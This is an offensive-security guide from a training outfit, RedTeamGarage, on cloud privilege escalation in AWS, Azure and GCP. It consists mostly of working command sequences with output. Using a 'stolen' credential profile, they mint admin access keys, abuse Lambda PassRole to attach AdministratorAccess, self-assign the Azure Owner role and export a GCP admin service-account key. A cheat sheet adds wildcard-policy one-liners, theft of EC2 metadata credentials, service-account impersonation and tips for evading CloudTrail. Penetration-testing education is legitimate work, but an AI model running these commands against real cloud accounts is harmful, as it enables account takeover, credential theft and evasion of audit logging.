



◆ OFFENSIVE SECURITY SERIES ◆

# CLOUD PRIVILEGE ESCALATION

## IAM Policy Abuse, Role Chaining & Cross-Service PrivEsc

AWS IAM · Azure RBAC · GCP IAM · Lambda · PassRole · Role Chain · Pacu

AWS IAM PrivEsc

Azure RBAC

GCP IAM

Lambda PassRole

EC2 PassRole

AzureHound

Pacu

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only.  
All techniques must ONLY be used on systems you own or have explicit written  
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

CLOUD PRIVILEGE ESCALATION — IAM Policy Abuse, Role Chaining &amp; Cross-Service PrivEsc

|            |                                                     |
|------------|-----------------------------------------------------|
| <b>01.</b> | <b>AWS IAM PRIVESC — CREATEACCESSKEY + PASSROLE</b> |
| <b>02.</b> | <b>AZURE RBAC OWNER + GCP SA KEY EXPORT</b>         |
| <b>03.</b> | <b>CLOUD PRIVESC CHEAT SHEET</b>                    |



## 01 — AWS PRIVESC

CreateAccessKey + Lambda PassRole

```

AWS IAM PrivEsc - CreateAccessKey + Lambda PassRole

# AWS - iam:CreateAccessKey path to admin
$ aws iam list-users --profile stolen --query "Users[*].UserName" --output text
admin dev-user svc-lambda readonly-user

$ aws iam list-attached-user-policies --user-name admin --profile stolen --query "AttachedPolicies[*].PolicyName" --output text
AdministratorAccess

$ aws iam create-access-key --user-name admin --profile stolen
{"AccessKey":{"UserName":"admin","AccessKeyId":"AKIAIOSFODNN7NEWKEY","Status":"Active","SecretAccessKey":"NewAdminSecretKeyXYZabcDEFghiJKLmno","CreateDate":"2024-01-15T09:45:00+00:00"}}

# Verify admin access
$ aws sts get-caller-identity --profile newadmin
{"UserId":"AIDAIOSFODNN7ADMIN","Account":"123456789012","Arn":"arn:aws:iam::123456789012:user/admin"}

# AWS - Lambda PassRole - run code as admin role
$ aws lambda create-function --function-name rtg-escalate --runtime python3.11 --role arn:aws:iam::123456789012:role/AdminRole --handler f.handler --zip-file fileb://f.zip --profile stolen
{"FunctionName":"rtg-escalate","FunctionArn":"arn:aws:lambda:us-east-1:123456789012:function:rtg-escalate","Role":"arn:aws:iam::123456789012:role/AdminRole","Runtime":"python3.11","State":"Active"}

$ aws lambda invoke --function-name rtg-escalate /tmp/out.json --profile stolen && cat /tmp/out.json
{"statusCode":200,"body":"AdministratorAccess attached to dev-user successfully"}

```

Figure: CreateAccessKey gives admin creds; Lambda PassRole executes code as AdminRole to self-escalate



## 02 — AZURE & GCP

RBAC Owner + SA Key Export

```
Azure RBAC Owner + GCP SA Key Export PrivEsc

# Azure — roleAssignments/write → assign Owner to self
$ OBJECT_ID=$(az ad signed-in-user show --query id -o tsv)
$ echo "My Object ID: $OBJECT_ID"
My Object ID: alb2c3d4-1234-abcd-5678-ef9012345678
$ az role assignment create --assignee $OBJECT_ID --role "Owner" --scope /subscriptions/SUB_ID
{
  "id": "/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments/uuid",
  "principalId": "alb2c3d4-1234-abcd-5678-ef9012345678",
  "roleDefinitionId": ".../Owner",
  "scope": "/subscriptions/SUB_ID"
}

# GCP — export high-priv SA key
$ gcloud iam service-accounts list --filter="email:admin" --format="value(email)"
admin-sa@targetproject-prod.iam.gserviceaccount.com
$ gcloud iam service-accounts keys create /tmp/admin_key.json --iam-account admin-sa@targetproject-prod.iam.gserviceaccount.com
created key [abc123def456] of type [json] as [/tmp/admin_key.json] for [admin-sa@targetproject-prod.iam.gserviceaccount.com]
$ gcloud auth activate-service-account --key-file=/tmp/admin_key.json && gcloud projects get-iam-policy targetproject-prod | grep roles/owner
- serviceAccount:admin-sa@targetproject-prod.iam.gserviceaccount.com
```

Figure: Azure Owner role self-assigned in one command; GCP admin SA key exported — full project owner



## 03 — CHEAT SHEET

Quick Reference

|                                 |                                                                                                                                                            |
|---------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>AWS: create admin key</b>    | <code>aws iam create-access-key --user-name admin (requires iam:CreateAccessKey)</code>                                                                    |
| <b>AWS: attach admin policy</b> | <code>aws iam attach-user-policy --user-name USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess</code>                                          |
| <b>AWS: inline policy</b>       | <code>aws iam put-user-policy --user-name USER --policy-name All --policy-document '{"Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'</code> |
| <b>AWS: Lambda PassRole</b>     | Create Lambda with AdminRole + invoke → code runs as admin SA                                                                                              |
| <b>AWS: EC2 PassRole</b>        | Run EC2 with admin IAM profile → steal creds from metadata                                                                                                 |
| <b>AWS: Pacu scan</b>           | <code>Pacu &gt; import_keys stolen → run iam__privesc_scan</code>                                                                                          |
| <b>AWS: enumerate-iam</b>       | <code>python3 enumerate-iam.py --access-key AKIA... --secret-key ...</code>                                                                                |
| <b>Azure: assign Owner</b>      | <code>az role assignment create --assignee OID --role Owner --scope /subscriptions/SUB_ID</code>                                                           |
| <b>Azure: via ARM API</b>       | PUT <code>https://management.azure.com/subscriptions/.../roleAssignments/UUID</code> with Bearer token                                                     |
| <b>Azure: VM RunCommand</b>     | <code>az vm run-command invoke --command-id RunShellScript --scripts "id"</code>                                                                           |
| <b>Azure: AzureHound</b>        | <code>./AzureHound -u user -p pass -t tenant → import to BloodHound</code>                                                                                 |
| <b>GCP: export SA key</b>       | <code>gcloud iam service-accounts keys create key.json --iam-account ADMIN_SA</code>                                                                       |
| <b>GCP: impersonate SA</b>      | <code>gcloud config set auth/impersonate_service_account ADMIN_SA</code>                                                                                   |
| <b>GCP: Cloud Function</b>      | <code>gcloud functions deploy FUNC --service-account ADMIN_SA (requires actAs)</code>                                                                      |
| <b>GCP: privesc scanner</b>     | <code>python3 gcp_iam_privesc.py --project PROJECT_ID</code>                                                                                               |
| <b>CloudTrail evasion</b>       | Prefer AssumeRole over CreateUser; avoid SimulatePrincipalPolicy                                                                                           |



## CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



|                  |                                                                                                                     |
|------------------|---------------------------------------------------------------------------------------------------------------------|
| Official Website | <a href="https://www.redteamgarage.com/">https://www.redteamgarage.com/</a>                                         |
| Telegram         | <a href="https://t.me/redteamgarage">https://t.me/redteamgarage</a>                                                 |
| LinkedIn         | <a href="https://www.linkedin.com/company/redteamgarage-rtg">https://www.linkedin.com/company/redteamgarage-rtg</a> |

### RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.